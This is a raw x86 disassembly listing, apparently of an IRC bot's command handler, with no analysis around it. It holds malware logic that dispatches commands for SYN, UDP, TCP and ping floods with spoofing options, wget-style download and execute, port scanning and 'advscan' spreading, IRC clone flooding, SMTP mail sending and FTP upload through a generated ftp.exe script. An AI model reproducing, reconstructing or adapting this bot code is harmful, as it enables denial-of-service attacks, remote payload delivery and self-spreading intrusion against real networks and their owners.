sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412C1C push [ebp+arg_8] push offset aCom_e ; "com.e" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412C1C push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412B1B push [ebp+arg_8] push offset aFf ; "ff" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412B1B push [ebp+arg_8] push offset aCom_rename ; "com.rename" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412AC9 push [ebp+arg_8] push offset aCom_mv ; "com.mv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412AC9 push [ebp+arg_8] push offset aDdos_icmp ; "ddos.icmp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4129C8 push [ebp+arg_8] push offset aDdos_ic ; "ddos.ic" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4129C8 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40F239 push [ebp+arg_8] push offset aClone_make ; "clone.make" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4128DD push [ebp+arg_8] push offset aClone_start ; "clone.start" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4128DD push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127D8 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127D8 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127D8 push [ebp+arg_8] push offset aDdos_synflood ; "ddos.synflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4126DA push [ebp+arg_8] push offset aDdos_synf ; "ddos.synf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4126DA push [ebp+arg_8] push offset aDownload_wget ; "download.wget" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412599 push [ebp+arg_8] push offset aDownload_wg ; "download.wg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412599 push [ebp+arg_8] push offset aDaemon_redirec ; "daemon.redirect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41249C push [ebp+arg_8] push offset aDaemon_rd ; "daemon.rd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41249C push [ebp+arg_8] push offset aRoot_portscan ; "root.portscan" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4123A9 push [ebp+arg_8] push offset aRoot_ps ; "root.ps" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4123A9 push [ebp+arg_8] push offset aClone_privmsg ; "clone.privmsg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4122D4 push [ebp+arg_8] push offset aClone_pm ; "clone.pm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4122D4 push [ebp+arg_8] push offset aClone_action ; "clone.action" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4121BC push [ebp+arg_8] push offset aClone_ac ; "clone.ac" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4121BC mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40F239 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411E65 push [ebp+arg_8] push offset aAsc ; "asc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411E65 push [ebp+arg_8] push offset aDdos_udpflood ; "ddos.udpflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aDdos_udpf ; "ddos.udpf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aU ; "u" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aDdos_pingflood ; "ddos.pingflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aDdos_pingf ; "ddos.pingf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aP ; "p" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A65 push [ebp+arg_8] push offset aDdos_tcpf ; "ddos.tcpf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A65 push [ebp+arg_8] push offset aUtil_email ; "util.email" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_41189C lea eax, [ebp+var_3F8] push edi push eax call sub_4179C0 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_DB0] push eax call sub_4179C0 push [ebp+arg_10] lea eax, [ebp+var_BA8] push eax call sub_4179C0 push offset asc_42A3B4 ; " " push offset a__0 ; "_" push [ebp+esi+var_80] call sub_40A7D7 push eax lea eax, [ebp+var_55C] push eax call sub_4179C0 add esp, 30h lea eax, [ebp+var_6EC] push eax push 101h call dword_43AD10 lea eax, [ebp+var_3F8] push eax call dword_43AE1C push 6 push 1 push 2 mov edi, eax call dword_43AE18 push [ebp+arg_18] mov esi, eax mov [ebp+var_2EC], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_2E8], eax call dword_43AD98 mov [ebp+var_2EA], ax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_BA8] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_15B0] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_4172B0 add esp, 1Ch lea eax, [ebp+var_2EC] push 10h push eax push esi call dword_43AD40 mov edi, 100h push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_43ADB0 lea eax, [ebp+var_CAC] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_15B0] push eax push esi call dword_43ADE8 push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_43ADB0 push esi call dword_43AE30 call dword_43ACF8 lea eax, [ebp+var_BA8] push eax push offset unk_431AA4 loc_411888: ; CODE XREF: sub_40EE72+3B51j ; sub_40EE72+3E38j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch jmp loc_413A62 ; --------------------------------------------------------------------------- loc_41189C: ; CODE XREF: sub_40EE72+28C0j push [ebp+arg_8] push offset aUtil_httpcon ; "util.httpcon" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A34 push [ebp+arg_8] push offset aUtil_hcon ; "util.hcon" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A34 mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40F239 push [ebp+arg_8] push offset aFtp_upload ; "ftp.upload" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 push 4 push esi call sub_40D000 pop ecx test eax, eax pop ecx jnz short loc_411906 push esi push offset dword_431A4C jmp loc_413BFD ; --------------------------------------------------------------------------- loc_411906: ; CODE XREF: sub_40EE72+2A87j nop call near ptr 2610765h push eax call sub_417302 pop ecx call sub_41730C push 9 cdq pop ecx idiv ecx push edx call sub_41730C push 63h cdq pop ecx idiv ecx push edx call sub_41730C cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_CB0] push edx push eax lea eax, [ebp+var_BAC] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_4172B0 lea eax, [ebp+var_BAC] push offset aAb ; "ab" push eax call sub_4179A8 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_40F239 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_417956 push [ebp+arg_24] call sub_417900 add esp, 20h lea eax, [ebp+var_BAC] push eax lea eax, [ebp+var_3F8] push offset aSS_4 ; "-s:%s" push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_3F8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_43AD0C test eax, eax push edi push esi jz short loc_4119D3 push offset dword_4319D4 jmp short loc_4119D8 ; --------------------------------------------------------------------------- loc_4119D3: ; CODE XREF: sub_40EE72+2B58j push offset dword_431998 loc_4119D8: ; CODE XREF: sub_40EE72+2B5Fj call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_411A01 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_411A01: ; CODE XREF: sub_40EE72+2B71j lea eax, [ebp+var_2DC] push eax call sub_40BF6D loc_411A0D: ; CODE XREF: sub_40EE72+2BC0j lea eax, [ebp+var_BAC] push 4 push eax call sub_40D000 add esp, 0Ch test eax, eax jz loc_40F239 lea eax, [ebp+var_BAC] push eax call sub_419BBA jmp short loc_411A0D ; --------------------------------------------------------------------------- loc_411A34: ; CODE XREF: sub_40EE72+2A3Bj ; sub_40EE72+2A52j push [ebp+esi+var_80] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41781F pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_406AF8 loc_411A5D: ; CODE XREF: sub_40EE72+587Aj add esp, 24h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_411A65: ; CODE XREF: sub_40EE72+2892j ; sub_40EE72+28A9j mov esi, 80h push edi lea eax, [ebp+var_678] push esi push eax call sub_41782A lea eax, [ebp+var_678] push eax push offset aSyn ; "syn" call sub_4176D0 add esp, 14h test eax, eax jz short loc_411AC8 lea eax, [ebp+var_678] push eax push offset aAck ; "ack" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411AC8 lea eax, [ebp+var_678] push eax push offset aRandom ; "random" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411AC8 push offset dword_431960 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411AC8: ; CODE XREF: sub_40EE72+2C1Cj ; sub_40EE72+2C33j ... push [ebp+arg_10] call sub_41781F cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_411BF4 push edi lea eax, [ebp+var_678] push esi push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_6F8] push [ebp+arg_18] push esi push eax call sub_41782A push [ebp+arg_0] call sub_41781F mov [ebp+var_574], eax add esp, 10h xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_56C], ebx mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_411B65 mov eax, offset aNormal ; "Normal" loc_411B65: ; CODE XREF: sub_40EE72+2CECj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset dword_43190C lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 0Ch push eax call sub_416D5C add esp, 2Ch mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_401D82 push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_411BE3 loc_411BCD: ; CODE XREF: sub_40EE72+2D6Fj cmp [ebp+var_560], ebx jnz loc_41460C push 32h nop call near ptr 2610F93h jmp short loc_411BCD ; --------------------------------------------------------------------------- loc_411BE3: ; CODE XREF: sub_40EE72+2D59j call near ptr 2650B3Dh nop push eax push offset dword_4318C4 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_411BF4: ; CODE XREF: sub_40EE72+2C67j push offset dword_43187C jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411BFE: ; CODE XREF: sub_40EE72+284Dj ; sub_40EE72+2864j ... cmp dword_43AE88, ebx mov esi, [ebp+arg_4] jnz loc_411D09 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F push [ebp+arg_10] mov [ebp+var_314], eax call sub_41781F push 7Fh mov [ebp+var_310], eax push [ebp+var_8C] lea eax, [ebp+var_418] push eax call sub_418C10 add esp, 24h lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset unk_431824 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Eh push eax call sub_416D5C add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40AF86 push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_411CF8 loc_411CE6: ; CODE XREF: sub_40EE72+2E84j cmp [ebp+var_2FC], ebx jnz short loc_411D22 push 32h call near ptr 2610F93h nop jmp short loc_411CE6 ; --------------------------------------------------------------------------- loc_411CF8: ; CODE XREF: sub_40EE72+2E72j call near ptr 2650B3Dh nop push eax push offset unk_4317DC jmp loc_4128CC ; --------------------------------------------------------------------------- loc_411D09: ; CODE XREF: sub_40EE72+2D95j push 1FFh lea eax, [ebp+var_2DC] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_418C10 loc_411D1F: ; CODE XREF: sub_40EE72+3A66j add esp, 0Ch loc_411D22: ; CODE XREF: sub_40EE72+2E7Aj ; sub_40EE72+2FD2j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push [ebp+var_4] loc_411D2F: ; CODE XREF: sub_40EE72+567Ej lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push esi jmp loc_414629 ; --------------------------------------------------------------------------- loc_411D42: ; CODE XREF: sub_40EE72+2808j ; sub_40EE72+281Fj ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F push [ebp+arg_10] mov [ebp+var_314], eax call sub_41781F mov esi, [ebp+esi+var_80] add esp, 18h cmp esi, ebx mov [ebp+var_310], eax jz short loc_411DA7 push esi call sub_41781F pop ecx mov [ebp+var_30C], eax jmp short loc_411DAD ; --------------------------------------------------------------------------- loc_411DA7: ; CODE XREF: sub_40EE72+2F24j mov [ebp+var_30C], ebx loc_411DAD: ; CODE XREF: sub_40EE72+2F33j push 7Fh lea eax, [ebp+var_418] push [ebp+var_8C] push eax call sub_418C10 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset dword_43176C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Fh push eax call sub_416D5C add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40B112 push ebx push ebx call near ptr 2680C08h nop mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_411E54 loc_411E3E: ; CODE XREF: sub_40EE72+2FE0j cmp [ebp+var_2FC], ebx jnz loc_411D22 push 32h nop call near ptr 2610F93h jmp short loc_411E3E ; --------------------------------------------------------------------------- loc_411E54: ; CODE XREF: sub_40EE72+2FCAj nop call near ptr 2650B3Dh push eax push offset dword_431724 jmp loc_4128CC ; --------------------------------------------------------------------------- loc_411E65: ; CODE XREF: sub_40EE72+27DAj ; sub_40EE72+27F1j push 8 call sub_416FA4 push [ebp+arg_18] mov [ebp+arg_8], eax call sub_41781F add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 3E8h jle short loc_411EB8 push [ebp+arg_8] lea eax, [ebp+var_2DC] push offset unk_4316D8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_411EB8: ; CODE XREF: sub_40EE72+300Fj push edi call sub_41781F push [ebp+arg_18] mov [ebp+var_330], eax call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F add esp, 0Ch cmp eax, 2 mov [ebp+var_32C], eax jnb short loc_411EF1 push 2 pop eax mov [ebp+var_32C], eax loc_411EF1: ; CODE XREF: sub_40EE72+3074j push 3Ch pop ecx cmp eax, ecx jbe short loc_411EFE mov [ebp+var_32C], ecx loc_411EFE: ; CODE XREF: sub_40EE72+3084j push [ebp+arg_10] call sub_41781F cmp eax, 270Fh pop ecx mov [ebp+var_328], eax jbe short loc_411F1E mov [ebp+var_328], 270Fh loc_411F1E: ; CODE XREF: sub_40EE72+30A0j or [ebp+var_314], 0FFFFFFFFh cmp dword_42ACB0, ebx mov [ebp+arg_0], ebx jz short loc_411F74 mov [ebp+arg_24], offset dword_42ACB0 loc_411F37: ; CODE XREF: sub_40EE72+30E4j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411F5A add [ebp+arg_24], 3Ch inc [ebp+arg_0] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_411F37 jmp short loc_411F74 ; --------------------------------------------------------------------------- loc_411F5A: ; CODE XREF: sub_40EE72+30D6j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_42ACB0[ecx] mov [ebp+var_330], ecx loc_411F74: ; CODE XREF: sub_40EE72+30BCj ; sub_40EE72+30E6j cmp [ebp+var_330], ebx jz loc_414039 mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_411FBB cmp byte ptr [edi], 23h jz short loc_411FBB push edi lea eax, [ebp+var_444] push 10h push eax call sub_41782A push 78h push edi call sub_418F50 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_304], eax jmp loc_41208F ; --------------------------------------------------------------------------- loc_411FBB: ; CODE XREF: sub_40EE72+3117j ; sub_40EE72+311Cj cmp [ebp+var_9C7], bl jnz short loc_411FDD cmp [ebp+var_9C6], bl jnz short loc_411FDD cmp [ebp+var_9B6], bl jnz short loc_411FDD push offset unk_431694 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411FDD: ; CODE XREF: sub_40EE72+314Fj ; sub_40EE72+3157j ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_43AD3C mov al, [ebp+var_9C7] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_43AE24 push eax lea eax, [ebp+var_444] push eax call sub_418C10 add esp, 0Ch cmp [ebp+var_9B6], bl jz short loc_412089 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_418F10 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_41207D loc_41205B: ; CODE XREF: sub_40EE72+3209j cmp eax, ebx jz short loc_41207D mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_418F10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_41205B loc_41207D: ; CODE XREF: sub_40EE72+31E7j ; sub_40EE72+31EBj mov [ebp+var_304], 1 jmp short loc_41208F ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: sub_40EE72+31C1j mov [ebp+var_304], ebx loc_41208F: ; CODE XREF: sub_40EE72+3144j ; sub_40EE72+3215j mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_334], eax mov eax, [ebp+var_4] mov [ebp+var_30C], eax mov eax, [ebp+var_8] mov [ebp+var_308], eax mov edi, 80h lea eax, [ebp+var_434] push edi push eax call sub_41782A mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_4120E0 loc_4120CD: ; CODE XREF: sub_40EE72+3291j push esi loc_4120CE: ; CODE XREF: sub_40EE72+327Bj lea eax, [ebp+var_3B4] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_41210B ; --------------------------------------------------------------------------- loc_4120E0: ; CODE XREF: sub_40EE72+3259j mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4120EF cmp byte ptr [eax], 23h jnz short loc_4120EF push eax jmp short loc_4120CE ; --------------------------------------------------------------------------- loc_4120EF: ; CODE XREF: sub_40EE72+3273j ; sub_40EE72+3278j mov esi, offset aF ; "#f" push offset byte_436EDC push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4120CD mov [ebp+var_3B4], bl loc_41210B: ; CODE XREF: sub_40EE72+326Cj cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_41211D mov eax, offset aSequential ; "Sequential" loc_41211D: ; CODE XREF: sub_40EE72+32A4j push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_431610 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40797F push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4121AB loc_412195: ; CODE XREF: sub_40EE72+3337j cmp [ebp+var_300], ebx jnz loc_41460C push 32h call near ptr 2610F93h nop jmp short loc_412195 ; --------------------------------------------------------------------------- loc_4121AB: ; CODE XREF: sub_40EE72+3321j nop call near ptr 2650B3Dh push eax push offset unk_4315C8 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_4121BC: ; CODE XREF: sub_40EE72+279Aj ; sub_40EE72+27B1j push edi call sub_41781F imul eax, 234h pop ecx cmp byte_440808[eax], bl jz loc_414F47 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] call sub_417AB0 push edi mov esi, eax call sub_417AB0 push [ebp+arg_8] add esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417880 add esp, 14h mov esi, eax lea eax, [ebp+var_2DC] push esi push offset dword_4315BC push eax call sub_4172B0 add esp, 0Ch cmp esi, ebx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 push ebx lea eax, [ebp+var_2DC] push ebx push eax push [ebp+arg_18] push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D679 push edi call sub_41781F imul eax, 234h add esp, 18h cmp byte ptr dword_4405F0[eax], 73h jnz loc_414F47 push esi push edi call sub_41781F imul eax, 234h pop ecx add eax, offset byte_440808 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] * %s %s" loc_4122A7: ; CODE XREF: sub_40EE72+3532j lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 28h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_4122D4: ; CODE XREF: sub_40EE72+276Cj ; sub_40EE72+2783j push edi call sub_41781F imul eax, 234h pop ecx cmp byte_440808[eax], bl jz loc_414F47 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] call sub_417AB0 push edi mov esi, eax call sub_417AB0 push [ebp+arg_8] add esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 14h cmp esi, ebx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D679 push edi call sub_41781F imul eax, 234h add esp, 18h cmp byte ptr dword_4405F0[eax], 73h jnz loc_414F47 push esi push edi call sub_41781F imul eax, 234h pop ecx add eax, offset byte_440808 push eax push [ebp+arg_18] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_4122A7 ; --------------------------------------------------------------------------- loc_4123A9: ; CODE XREF: sub_40EE72+273Ej ; sub_40EE72+2755j push edi call dword_43ADD8 push [ebp+arg_18] mov [ebp+var_474], eax call sub_41781F push [ebp+arg_0] mov [ebp+var_480], eax call sub_41781F mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_47C], eax lea eax, [ebp+var_500] mov [ebp+var_504], esi push eax call sub_418C10 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_46C], edi push [ebp+var_47C] mov [ebp+var_468], eax push [ebp+var_480] push [ebp+var_474] call dword_43AE24 push eax lea eax, [ebp+var_2DC] push offset unk_431550 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 20h mov [ebp+var_478], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_504] push ebx push eax push offset byte_415E37 push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_478] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_41248B loc_412475: ; CODE XREF: sub_40EE72+3617j cmp [ebp+var_464], ebx jnz loc_4144E5 push 32h call near ptr 2610F93h nop jmp short loc_412475 ; --------------------------------------------------------------------------- loc_41248B: ; CODE XREF: sub_40EE72+3601j nop call near ptr 2650B3Dh push eax push offset unk_431504 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_41249C: ; CODE XREF: sub_40EE72+2710j ; sub_40EE72+2727j push edi call sub_41781F push 7Fh mov [ebp+var_314], eax push [ebp+arg_18] lea eax, [ebp+var_418] push eax call sub_418C10 push [ebp+arg_0] call sub_41781F mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_318], eax lea eax, [ebp+var_398] push [ebp+var_8C] mov [ebp+var_420], esi push 80h push eax call sub_41782A mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_304], eax push [ebp+var_318] lea eax, [ebp+var_418] mov [ebp+var_308], edi push eax push [ebp+var_314] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_4314B8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 10h push eax call sub_416D5C add esp, 24h mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_420] push ebx push eax push offset sub_407BDE push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_412588 loc_412572: ; CODE XREF: sub_40EE72+3714j cmp [ebp+var_300], ebx jnz loc_4144E5 push 32h call near ptr 2610F93h nop jmp short loc_412572 ; --------------------------------------------------------------------------- loc_412588: ; CODE XREF: sub_40EE72+36FEj nop call near ptr 2650B3Dh push eax push offset unk_431464 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_412599: ; CODE XREF: sub_40EE72+26E2j ; sub_40EE72+26F9j push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_418C10 push 0FFh lea eax, [ebp+var_680] push [ebp+arg_18] push eax call sub_418C10 push [ebp+arg_0] mov [ebp+var_57C], ebx call sub_41781F mov [ebp+var_578], eax mov eax, [ebp+esi+var_84] add esp, 1Ch cmp eax, ebx jz short loc_4125F5 push 10h push ebx push eax call sub_418A3B add esp, 0Ch mov [ebp+var_570], eax jmp short loc_4125FB ; --------------------------------------------------------------------------- loc_4125F5: ; CODE XREF: sub_40EE72+376Dj mov [ebp+var_570], ebx loc_4125FB: ; CODE XREF: sub_40EE72+3781j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_412612 push esi call sub_41781F pop ecx mov [ebp+var_574], eax jmp short loc_412618 ; --------------------------------------------------------------------------- loc_412612: ; CODE XREF: sub_40EE72+378Fj mov [ebp+var_574], ebx loc_412618: ; CODE XREF: sub_40EE72+379Ej movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_568], eax lea eax, [ebp+var_2DC] push edi push offset unk_431428 push eax call sub_4172B0 push esi lea eax, [ebp+var_2DC] push 16h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx 